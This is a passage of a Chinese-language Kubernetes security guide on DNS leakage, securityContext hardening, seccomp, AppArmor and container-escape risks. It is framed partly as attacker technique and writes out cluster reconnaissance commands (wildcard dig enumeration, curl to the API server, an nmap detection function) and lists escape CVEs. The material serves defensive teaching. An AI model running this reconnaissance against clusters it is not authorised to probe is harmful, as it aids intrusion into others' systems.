在這個探針設定中，攻擊者可以利用host欄位指向任意網路位址，使kubelet向該地址傳送HTTP請求。這可能被用於：

1. 探測內部網路中的服務和端點
2. 繞過網路策略限制（因為請求來自kubelet而非Pod）
3. 利用HTTP標頭進行額外的攻擊載荷傳遞

這個問題的嚴重性在於，即使Pod沒有網路存取許可權，kubelet執行的探針仍可以存取網路，從而建立一個繞過網路安全控制的側通道。

CPU和記憶體限制與請求

資源限制和請求管理Pod的cgroups，防止kubelet主機上有限記憶體和計算資源的耗盡，並防禦fork炸彈和失控程式。Pod規格中不支援網路頻寬限制，但您的CNI實作可能支援。

資源限制的安全價值

cgroups是有用的資源約束。cgroups v2提供更多保護，但cgroups v1不是安全邊界，可以輕易逃逸。

限制了惡意容器可以執行的潛在加密挖礦或資源耗盡。它還防止主機因佈署不良而不堪重負。除非攻擊者需要使用記憶體密集型攻擊，否則對尋求進一步利用系統的攻擊者效果有限：

resources:
  limits:
    cpu: 200m
    memory: 128Mi
  requests:
    cpu: 100m
    memory: 64Mi

這個資源設定範例設定了兩種限制：

1. 資源限制(limits)：這是容器可以使用的最大資源量

   • CPU限制為200毫核(0.2個核心)
   • 記憶體限制為128 MiB

2. 資源請求(requests)：這是容器保證獲得的資源量

   • CPU請求為100毫核(0.1個核心)
   • 記憶體請求為64 MiB

從安全形度看，這些限制有幾個作用：

• 防止單個容器消耗過多資源導致節點不穩定
• 限制惡意容器進行資源密集型操作（如加密貨幣挖礦）
• 減輕DoS攻擊的影響，無論是蓄意的還是意外的

然而，這些限制主要是為了資源管理，不應被視為主要安全控制。攻擊者仍然可以在資源限制內執行許多型別的攻擊。

DNS安全考量

預設情況下，Kubernetes DNS伺服器提供整個叢集中所有服務的記錄，除非按名稱空間或域單獨佈署，否則會阻止名稱空間隔離。

DNS訊息洩露與緩解

預設的Kubernetes CoreDNS安裝會洩露有關其服務的訊息，為攻擊者提供所有可能網路端點的檢視。當然，由於網路策略的存在，它們可能並非全部可存取。

CoreDNS支援策略外掛，包括OPA（Open Policy Agent），以限制對DNS記錄的存取並防止列舉攻擊。這是一個重要的安全增強功能，特別是在多租戶環境中。

實用安全設定最佳實踐

根據以上分析，我總結了一些Kubernetes環境設定的最佳實踐：

1. 敏感資訊處理：

   • 使用Kubernetes Secrets儲存敏感資訊，而非環境變數
   • 將Secrets以檔案形式掛載，而非環境變數注入
   • 考慮使用外部機密管理系統，如HashiCorp Vault或雲端供應商的機密管理服務

2. 容器映像安全：

   • 始終使用SHA256摘要參照映像，而非可變標籤
   • 實作映像簽名和驗證（使用Notary、cosign等工具）
   • 定期掃描容器映像中的漏洞

3. 探針安全設定：

   • 避免在探針中使用host欄位指向外部服務
   • 限制探針的許可權和功能
   • 考慮使用命令探針而非HTTP探針，以減少網路暴露

4. 資源管理：

   • 為所有容器設定適當的資源限制和請求
   • 使用Pod優先順序和QoS類別管理資源競爭
   • 考慮實施網路頻寬限制（如果CNI支援）

5. DNS安全：

   • 考慮按名稱空間佈署DNS服務
   • 實作DNS策略限制跨名稱空間的服務發現
   • 使用網路策略限制不必要的跨名稱空間通訊

在容器安全中，深度防禦策略至關重要。單一安全控制的失效不應導致整個系統被攻破。透過實施這些最佳實踐，可以顯著提高Kubernetes環境的安全性，減少攻擊面並限制潛在攻擊的影響。

在我的Kubernetes安全稽核工作中，環境變數和容器映像管理是最常見的問題區域。特別是在快速開發環境中，開發者往往為了便利性而犧牲安全性。然而，透過適當的自動化和CI/CD管道整合，可以在不犧牲開發速度的情況下實作這些最佳實踐。

隨著容器技術的不斷演進，安全實踐也必須相應調整。保持警惕，跟蹤新的漏洞和威脅模型，並定期審查和更新安全控制，是維護安全容器環境的關鍵。

Kubernetes 環境中的 DNS 列舉攻擊

在 Kubernetes 環境中，DNS 服務不僅是服務發現的關鍵元件，也可能成為攻擊者收集叢集訊息的入口點。當 CoreDNS 設定不當時，攻擊者可以利用 DNS 列舉技術取得整個叢集的服務訊息。

DNS 列舉技術實戰

在預設與未受限制的 CoreDNS 安裝環境中，攻擊者可以執行以下命令來列舉叢集中的所有服務：

# 列舉叢集名稱空間中的所有服務
dig +noall +answer srv any.any.svc.cluster.local | sort --human-numeric-sort --key 7

上面的命令使用 dig 工具向 Kubernetes 的 DNS 伺服器傳送 SRV 記錄查詢，請求 any.any.svc.cluster.local 網域名稱的訊息。這個特殊的萬用字元查詢會回傳叢集中所有名稱空間的所有服務。輸出結果按第七列（服務名稱）排序，讓攻擊者可以清晰地看到所有可用服務。

攻擊者還可以進一步取得所有伺服器端點和名稱：

# 列舉所有伺服器端點和名稱
dig +noall +answer srv any.any.any.svc.cluster.local | sort --human-numeric-sort --key 7

這個命令比前一個更進一步，使用三層萬用字元 any.any.any.svc.cluster.local，能夠回傳所有伺服器端點的詳細 IP 地址和連線埠訊息。這為攻擊者提供了完整的服務網路拓撲圖，大簡化了後續的目標選擇和攻擊規劃。

甚至可以根據查詢直接回傳特定 Pod 的 IPv4 地址：

# 根據查詢回傳 IPv4 地址
dig +noall +answer 1-3-3-7.default.pod.cluster.local

此命令演示瞭如何查詢特定 Pod 的 IP 地址。在這個例子中，查詢 1-3-3-7.default.pod.cluster.local 會回傳 IP 地址 1.3.3.7。這種能力讓攻擊者可以精確定位特定的 Pod，而不需要進行網路掃描，大降低了被檢測的風險。

Kubernetes API 伺服器訊息洩露

預設情況下，Kubernetes 會將 API 伺服器的 IP 訊息掛載到 Pod 的環境變數中，這可能導致敏感訊息洩露：

# 檢查環境變數中的 Kubernetes 訊息
env | grep KUBE

輸出結果會包含 API 伺服器的地址和連線埠：

KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.7.240.1
KUBERNETES_SERVICE_HOST=10.7.240.1
KUBERNETES_PORT=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PORT=443

攻擊者可以利用這些訊息直接存取 API 伺服器：

# 使用環境變數存取 API 伺服器
curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version

上述命令使用環境變數中的 API 伺服器地址和連線埠，嘗試存取 /version 端點。如果成功，將回傳 API 伺服器的版本訊息，攻擊者可以利用這些訊息查詢特定版本的已知漏洞。

利用 Nmap 檢測 Kubernetes API 伺服器

以下是一個實用的 Nmap 函式，可用於檢測 Kubernetes API 伺服器：

nmap-kube-apiserver() {
    local REGEX="major.*gitVersion.*buildDate"
    local ARGS="${@:-$(kubectl config view --minify | awk '/server:/{print $2}' | sed -E -e 's,^https?://,,' -e 's,:, -p ,g')}"
    
    nmap \
        --open \
        --script=http-get \
        --script-args "\
            http-get.path=/version, \
            http-get.match=\"${REGEX}\", \
            http-get.showResponse, \
            http-get.forceTls \
        " \
        ${ARGS}
}

這個函式封裝了一個 Nmap 掃描，專門用於檢測 Kubernetes API 伺服器。它透過存取 API 伺服器的 /version 端點並檢查回應中是否包含特定的版本訊息來識別 Kubernetes 叢集。如果沒有提供引數，它會自動從 kubectl 設定中提取 API 伺服器地址。這個工具對於安全稽核非常有用，但同樣也可被攻擊者用於識別潛在目標。

Pod 安全上下文與容器逃逸技術

空安全上下文的風險

當 Pod 執行時使用空的安全上下文（securityContext: {}），並且沒有準入控制器在佈署時修改設定，容器就可以 root 許可權執行程式，並擁有所有可用的 Linux 能力（capabilities）。這種設定極其危險，為容器逃逸提供了絕佳條件。

危險的 Linux 能力

瞭解 Linux 內核的能力標誌對於利用容器環境至關重要。特別是 CAP_SYS_ADMIN 和 CAP_BPF 對攻擊者極具吸引力。以下是一些應謹慎授予的關鍵能力：

檔案系統許可權繞過

• CAP_DAC_OVERRIDE、CAP_CHOWN、CAP_DAC_READ_SEARCH、CAP_FORMER、CAP_SETFCAP

許可權提升

• CAP_SETUID、CAP_SETGID：允許成為 root 使用者

網路攻擊

• CAP_NET_RAW：允許讀取網路流量

系統級許可權

• CAP_SYS_ADMIN：提供檔案系統掛載許可權
• CAP_SYS_PTRACE：允許對其他程式進行全能除錯
• CAP_SYS_MODULE：允許載入核心模組以繞過控制

深層系統存取

• CAP_PERFMON、CAP_BPF：允許存取深層鉤子 BPF 系統

這些能力是許多容器逃逸攻擊的前提條件。正如安全工作者 Brad Geesaman 所說：「程式想要自由！」攻擊者會利用 Pod 中的任何可用資源來實作逃逸。

常見容器逃逸技術

以下是一些需要 root 許可權和/或特定能力才能實作的容器逃逸技術：

1. 子路徑卷掛載遍歷和 /proc/self/exe：允許攻擊者存取主機檔案系統

2. DirtyCow (CVE-2016-5195)：只讀記憶體寫時複製競爭條件漏洞

3. 未授權記憶體損壞漏洞 (CVE-2020-14386)：需要 CAP_NET_RAW 能力

4. runc 掛載目標符號連結交換 (CVE-2021-30465)：允許在 rootfs 外掛載，受非特權使用者使用限制

5. Netfilter 堆積積越界寫入 (CVE-2021-22555)：需要 CAP_NET_RAW 能力

6. eBPF 越界存取 (CVE-2021-31440)：需要 root 或 CAP_BPF 和 CAPS_SYS_MODULE 能力

7. 核心漏洞和 core_pattern 逃逸：@andreyknvl 發現的技術

即使沒有逃逸，root 能力仍然是其他攻擊的必要條件，例如 CVE-2020-10749（Kubernetes CNI 外掛中間人攻擊，透過 IPv6 惡意路由器廣告實作）。

關於 CAP_NET_RAW 的特別說明

CAP_NET_RAW 在 runc 中預設啟用，它允許：

• UDP 流量（繞過像 Istio 這樣的 TCP 服務網格）
• ICMP 訊息
• ARP 中毒攻擊

Aqua 安全公司曾發現針對 Kubernetes DNS 的 DNS 中毒攻擊，而 net.ipv4.ping_group_range sysctl 標誌意味著在需要 ICMP 時應該停用此能力。

Pod 服務賬戶安全

服務賬戶是 JSON Web 令牌（JWT），Pod 使用它們向 API 伺服器進行身份驗證和授權。預設服務賬戶不應被授予任何許可權，預設情況下也沒有任何授權。

serviceAccount: default
serviceAccountName: default

這種職責分離減少了 Pod 被入侵時的影響範圍：限制攻擊者入侵後的活動是策略控制的主要目標。

服務賬戶令牌保護

在現代 Kubernetes 中，服務賬戶令牌通常以投影（projected）卷的形式掛載：

volumes:
- name: kube-api-access-p282h
  projected:
    defaultMode: 420
    sources:
    - serviceAccountToken:
        expirationSeconds: 3600
        path: token
    - configMap:
        items:
        - key: ca.crt
          path: ca.crt
        name: kube-root-ca.crt
    - downwardAPI:
        items:
        - fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
          path: namespace

kubelet 透過定期輪換令牌（設定為每 3600 秒，即一小時）來防止令牌被竊取。然而，這只能在攻擊結束後保護服務賬戶，因為具有永續性的攻擊者仍然能夠使用該值，並在輪換後觀察其新值。

Pod 網路狀態安全風險

Pod 的網路訊息對於除錯沒有服務的容器或回應不正常的容器很有用，但攻擊者可能會使用這些訊息直接連線到 Pod，而無需掃描網路：

status:
  hostIP: 10.0.1.3
  phase: Running
  podIP: 192.168.155.130
  podIPs:
  - ip: 192.168.155.130

正確使用 securityContext 保護容器

如果未設定 securityContext 或設定過於寬鬆，Pod 被入侵的可能性會大增加。securityContext 是防止容器被入侵的最有效工具。

安全上下文最佳實踐

以下是一些 securityContext 的最佳實踐設定範例：

securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  runAsGroup: 3000
  fsGroup: 2000
  allowPrivilegeEscalation: false
  capabilities:
    drop:
      - ALL
    add:
      - NET_BIND_SERVICE  # 只增加必要的能力
  readOnlyRootFilesystem: true
  seccompProfile:
    type: RuntimeDefault

這個安全上下文設定實施了多層防護：

1. runAsNonRoot: true - 確保容器不能以 root 使用者執行
2. runAsUser/runAsGroup/fsGroup - 指定非 root 使用者和組 ID
3. allowPrivilegeEscalation: false - 防止程式取得比父程式更多的許可權
4. capabilities.drop: ["ALL"] - 移除所有 Linux 能力，然後只增加必要的能力
5. readOnlyRootFilesystem: true - 使根檔案系統只讀，防止攻擊者修改系統檔案
6. seccompProfile.type: RuntimeDefault - 應用預設的 seccomp 設定檔案，限制系統呼叫

防止容器逃逸的關鍵策略

1. 最小許可權原則：只授予容器執行所需的最小許可權集合

2. 移除危險能力：特別是 CAP_SYS_ADMIN、CAP_NET_RAW 和 CAP_SYS_PTRACE

3. 啟用只讀檔案系統：防止攻擊者修改容器內的檔案

4. 使用非 root 使用者：避免以 root 身份執行容器程式

5. 啟用 seccomp 設定檔案：限制容器可以執行的系統呼叫

6. 停用特權升級：設定 allowPrivilegeEscalation: false

7. 實施 Pod 安全標準：使用 Kubernetes Pod 安全標準（PSS）或 Pod 安全策略（PSP）

8. 網路政策隔離：實施網路政策以限制 Pod 之間的通訊

排程器和容忍度安全考量

排程器負責將 Pod 工作負載分配到節點。以下是典型設定：

schedulerName: default-scheduler
tolerations:
- effect: NoExecute
  key: node.kubernetes.io/not-ready
  operator: Exists
  tolerationSeconds: 300
- effect: NoExecute
  key: node.kubernetes.io/unreachable
  operator: Exists
  tolerationSeconds: 300

惡意排程器理論上可以竊取叢集中的資料或工作負載，但這需要先入侵叢集才能將其增加到控制平面。更簡單的攻擊路徑是排程一個特權容器並取得控制平面 kubelet 的 root 許可權。

深入 DNS 安全防護策略

要防止前文提到的 DNS 列舉攻擊，可以採取以下措施：

限制 CoreDNS 設定

修改 CoreDNS 的 Corefile 設定，限制萬用字元查詢和某些域的解析：

.:53 {
    errors
    health {
        lameduck 5s
    }
    ready
    kubernetes cluster.local in-addr.arpa ip6.arpa {
        pods insecure
        fallthrough in-addr.arpa ip6.arpa
        ttl 30
    }
    prometheus :9153
    forward . /etc/resolv.conf
    cache 30
    loop
    reload
    loadbalance
}

可以修改為：

.:53 {
    errors
    health {
        lameduck 5s
    }
    ready
    kubernetes cluster.local in-addr.arpa ip6.arpa {
        pods verified  # 改為 verified 而非 insecure
        fallthrough in-addr.arpa ip6.arpa
        ttl 30
    }
    prometheus :9153
    forward . /etc/resolv.conf
    cache 30
    loop
    reload
    loadbalance
}

將 pods insecure 改為 pods verified 可以限制 Pod DNS 記錄的查詢，要求 Pod 的 IP 地址必須與請求的 IP 地址比對，防止萬用字元查詢洩露所有 Pod 訊息。

實施網路政策限制 DNS 存取

使用 Kubernetes 網路政策限制對 DNS 服務的存取：

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-dns-access
  namespace: kube-system
spec:
  podSelector:
    matchLabels:
      k8s-app: kube-dns
  policyTypes:
  - Ingress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          access: allowed
    ports:
    - protocol: UDP
      port: 53
    - protocol: TCP
      port: 53

這個網路政策僅允許帶有 access: allowed 標籤的名稱空間中的 Pod 存取 DNS 服務。這可以限制未授權名稱空間的 Pod 進行 DNS 列舉。

隱藏 Kubernetes API 伺服器訊息

防止 Kubernetes API 伺服器訊息洩露的最佳方法是修改 Pod 規範，停用自動注入環境變數：

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  enableServiceLinks: false  # 停用服務連結注入
  containers:
  - name: app
    image: myapp:1.0

設定 enableServiceLinks: false 可以防止 Kubernetes 自動將服務訊息（包括 API 伺服器地址）注入到 Pod 的環境變數中，從而減少訊息洩露的風險。

容器能力管理進階技巧

精細控制容器能力

除了完全移除所有能力外，有時需要更精細的控制：

securityContext:
  capabilities:
    drop:
      - ALL
    add:
      - NET_BIND_SERVICE  # 允許繫結低於 1024 的連線埠
      - CHOWN             # 允許更改檔案所有權

這種方法先移除所有能力，然後只增加應用程式真正需要的特定能力。例如，Web 伺服器可能需要 NET_BIND_SERVICE 來繫結 80 連線埠，但不需要其他危險的能力。

使用 seccomp 限制系統呼叫

Seccomp (Secure Computing Mode) 設定檔案可以進一步限制容器可以執行的系統呼叫：

securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/custom-seccomp.json

自定義 seccomp 設定檔案範例：

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": [
        "accept", "access", "arch_prctl", "brk", "capget",
        "capset", "chdir", "chmod", "chown", "close",
        "connect", "dup", "dup2", "epoll_create", "epoll_ctl",
        "epoll_wait", "execve", "exit_group", "faccessat",
        "fchdir", "fchmod", "fchown", "fcntl", "fstat",
        "fstatfs", "futex", "getcwd", "getdents", "getegid",
        "geteuid", "getgid", "getpid", "getppid", "getrlimit",
        "getuid", "ioctl", "listen", "lseek", "mkdir",
        "mmap", "mprotect", "munmap", "nanosleep", "open",
        "pipe", "poll", "prctl", "read", "readlink",
        "rt_sigaction", "rt_sigprocmask", "rt_sigreturn", "select", "set_robust_list",
        "set_tid_address", "setgid", "setgroups", "setuid", "stat",
        "statfs", "sysinfo", "umask", "uname", "unlink",
        "wait4", "write"
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}

這個 seccomp 設定檔案採用白名單方法，預設拒絕所有系統呼叫（defaultAction: SCMP_ACT_ERRNO），然後只允許列出的系統呼叫。這大減少了攻擊面，因為許多容器逃逸技術依賴於特定的系統呼叫。

AppArmor 設定檔案強化容器安全

在支援 AppArmor 的系統上，可以應用自定義 AppArmor 設定檔案：

metadata:
  annotations:
    container.apparmor.security.beta.kubernetes.io/app: localhost/custom-profile

自定義 AppArmor 設定檔案範例：

#include <tunables/global>

profile custom-profile flags=(attach_disconnected) {
  #include <abstractions/base>

  file,
  network,

  # 允許讀取 /etc
  /etc/** r,

  # 允許存取應用程式目錄
  /app/** rwix,

  # 拒絕存取敏感目錄
  deny /proc/** wl,
  deny /sys/** wl,
  deny /root/** rwl,
  deny /var/run/docker.sock rwl,
}

這個 AppArmor 設定檔案限制了容器可以存取的檔案和目錄，允許讀取設定檔案，但拒絕寫入敏感系統目錄和存取 Docker 通訊端。這為容器提供了額外的安全層，即使攻擊者獲得了某些能力也無法輕易逃逸。

綜合防護策略

保護 Kubernetes 環境免受 DNS 列舉和容器逃逸攻擊需要多層防護方法：

1. 實施最小許可權原則：限制容器的能力和許可權

2. 設定適當的網路政策：限制 Pod 之間的通訊和外部存取

3. 加固 DNS 設定：限制 DNS 查詢和服務發現功能

4. 使用安全上下文：為每個 Pod 設定適當的安全上下文

5. 限制服務賬戶許可權：遵循最小許可權原則分配服務賬戶許可權

6. 啟用稽核日誌：監控和記錄可疑活動

7. 定期更新和修補：保持所有元件的最新安全補丁

8. 使用容器執行時沙箱：考慮使用如 gVisor 或 Kata Containers 等提供額外隔離層的容器執行時

9. 實施准入控制器：使用如 OPA Gatekeeper 或 Kyverno 等工具強制執行安全策略

10. 進行定期安全稽核：評估環境中的安全漏洞和設定錯誤

Kubernetes 的安全是一個持續的過程，需要不斷評估和改進。透過瞭解潛在的攻擊向量並實施適當的防禦措施，可以顯著提高環境的安全性。最重要的是，安全上下文（securityContext）是防止容器被入侵的最有效工具，應該在每個 Pod 規範中正確設定。

在容器化環境中，安全不僅是保護邊界，還需要假設邊界可能已被突破，並設計多層防禦機制來限制攻擊者的活動範圍和能力。透過正確實施本文中討論的安全措施，可以大提高 Kubernetes 環境的安全態勢，防止 DNS 列舉和容器逃逸等常見攻擊。

容器安全：從入侵後防禦到主動防護

在容器安全領域，我們常關注如何防止攻擊者進入系統，但同樣重要的是：當攻擊者成功取得容器執行許可權後，如何限制其進一步的活動。當攻擊者成功對 Pod 執行遠端式碼執行（RCE）攻擊後，securityContext 成為限制攻擊範圍的第一道防線。

在處理過多起容器安全事件後，玄貓發現許多組織雖然投入大量資源於邊界防護，卻忽略了容器內部的安全強化設定。本文將探討如何透過 Kubernetes 的 securityContext、Linux 安全模組和工具來強化容器防禦，有效降低攻擊面。

securityContext：容器安全的基礎設施

securityContext 提供了一系列核心級別的安全開關，可以針對容器進行精細化的安全控制。除此之外，還可以設定 Linux 安全模組（如 seccomp、SELinux 和 AppArmor）來實作更嚴格的安全策略，防止惡意應用程式濫用系統許可權。

seccomp：系統呼叫的守門員

Docker 的 containerd 預設提供了一個 seccomp 設定檔案，透過阻止特定的系統呼叫，已成功預防了多起針對容器執行時的零日攻擊。從 Kubernetes v1.22 開始，建議使用 --seccomp-default kubelet 標誌為所有執行時啟用此功能。

然而，某些工作負載可能無法在預設 seccomp 設定下執行，特別是那些需要低層級核心存取的可觀察性或安全工具。對於這些工作負載，應該編寫自定義的 seccomp 設定檔案，而不是簡單地將它們設定為 Unconfined（允許任何系統呼叫）。

以下是一個從主機檔案系統 /var/lib/kubelet/seccomp 載入精細 seccomp 設定的範例：

securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/fine-grained.json

這段設定指示 Kubernetes 使用位於主機 /var/lib/kubelet/seccomp/profiles/fine-grained.json 的自定義 seccomp 設定檔案。與使用預設設定或完全不限制（Unconfined）相比，自定義設定案讓你可以精確控制允許哪些系統呼叫，從而實作最小許可權原則。通常這些設定案會列出允許的系統呼叫白名單，任何未明確允許的系統呼叫都會被阻止，有效減少攻擊面。

SELinux 與 AppArmor：使用者空間的保護者

seccomp 負責系統呼叫的限制，而 SELinux 和 AppArmor 則能在使用者空間中監控和強制執行策略，保護檔案、目錄和裝置。

SELinux：標籤化的安全防護

SELinux 設定能夠阻止大多數容器逃逸攻擊，它採用根據標籤的方式控制檔案系統和程式存取。SELinux 不允許容器寫入除自身檔案系統以外的任何地方，也不允許讀取其他目錄，在 OpenShift 和 Red Hat Linux 系統中預設啟用。

SELinux 的強大之處在於它的強制存取控制（MAC）模型，相比傳統的自主存取控制（DAC）提供了更嚴格的安全邊界。

AppArmor：Debian 系統的守護者

AppArmor 可以在 Debian 衍生的 Linux 系統中實作類別似的監控和預防功能。如果 AppArmor 已啟用，執行 cat /sys/module/apparmor/parameters/enabled 將回傳 Y，並且可以在 Pod 定義中使用：

annotations:
  container.apparmor.security.beta.kubernetes.io/hello: localhost/k8s-apparmor-example-deny-write

這個 annotation 將名為 “hello” 的容器與主機上名為 “k8s-apparmor-example-deny-write” 的 AppArmor 設定檔案關聯起來。這個設定檔案可能設定了阻止容器寫入特定路徑的規則，進一步限制了容器的行為。AppArmor 使用路徑為基礎的控制機制，相比 SELinux 的標籤系統，設定起來可能更加直觀，但功能略有不同。

privileged 標誌：計算史上最危險的標誌

Liz Rice 曾將 privileged 標誌稱為「計算歷史上最危險的標誌」，為什麼 privileged 容器如此危險？因為它們保留了程式名稱空間以維持容器化的假象，但實際上停用了所有安全特性。

「privileged」是一種特定的 securityContext 設定：除程式名稱空間外，所有名稱空間都被停用，虛擬檔案系統被取消遮罩，Linux 安全模組被停用，並授予所有權能（capabilities）。

以非 root 使用者身份執行，不具備特殊權能，並將 allowPrivilegeEscalation 設定為 false，可以提供對抗許多許可權提升攻擊的強大保護：

spec:
  containers:
  - image: controlplane/hack
    securityContext:
      allowPrivilegeEscalation: false

這個設定禁止容器程式獲得比父程式更多的許可權，這是防止許可權提升的關鍵設定。在實際測試中，我發現這個設定能有效阻止許多常見的提權技術，如 setuid 二進位檔案的利用。當與 runAsNonRoot: true 和適當的 capabilities 限制結合使用時，這提供了一個相當堅固的安全基線。

securityContext 設定的細粒度特性意味著必須測試每個屬性以確保其未被設定：作為防禦者，可以透過設定準入控制和測試 YAML 來實作；作為攻擊者，可以在執行時使用動態測試（或 amicontained 工具）來檢測。

與主機分享名稱空間也會減少容器的隔離性，並增加潛在風險。任何掛載的檔案系統實際上都會增加到掛載名稱空間中。

確保 Pod 的 securityContext 設定正確，系統將更安全地抵抗已知攻擊。

使用 Kubesec 增強 securityContext

Kubesec 是一個簡單的工具，用於驗證 Kubernetes 資源的安全性。它會回傳資源的風險評分，並建議如何加強 securityContext 設定。

以下是一個簡單的範例：

$ cat <<EOF > kubesec-test.yaml
apiVersion: v1
kind: Pod
metadata:
  name: kubesec-demo
spec:
  containers:
  - name: kubesec-demo
    image: gcr.io/google-samples/node-hello:1.0
    securityContext:
      readOnlyRootFilesystem: true
EOF

$ docker run -i kubesec/kubesec:2.11.1 scan - < kubesec-test.yaml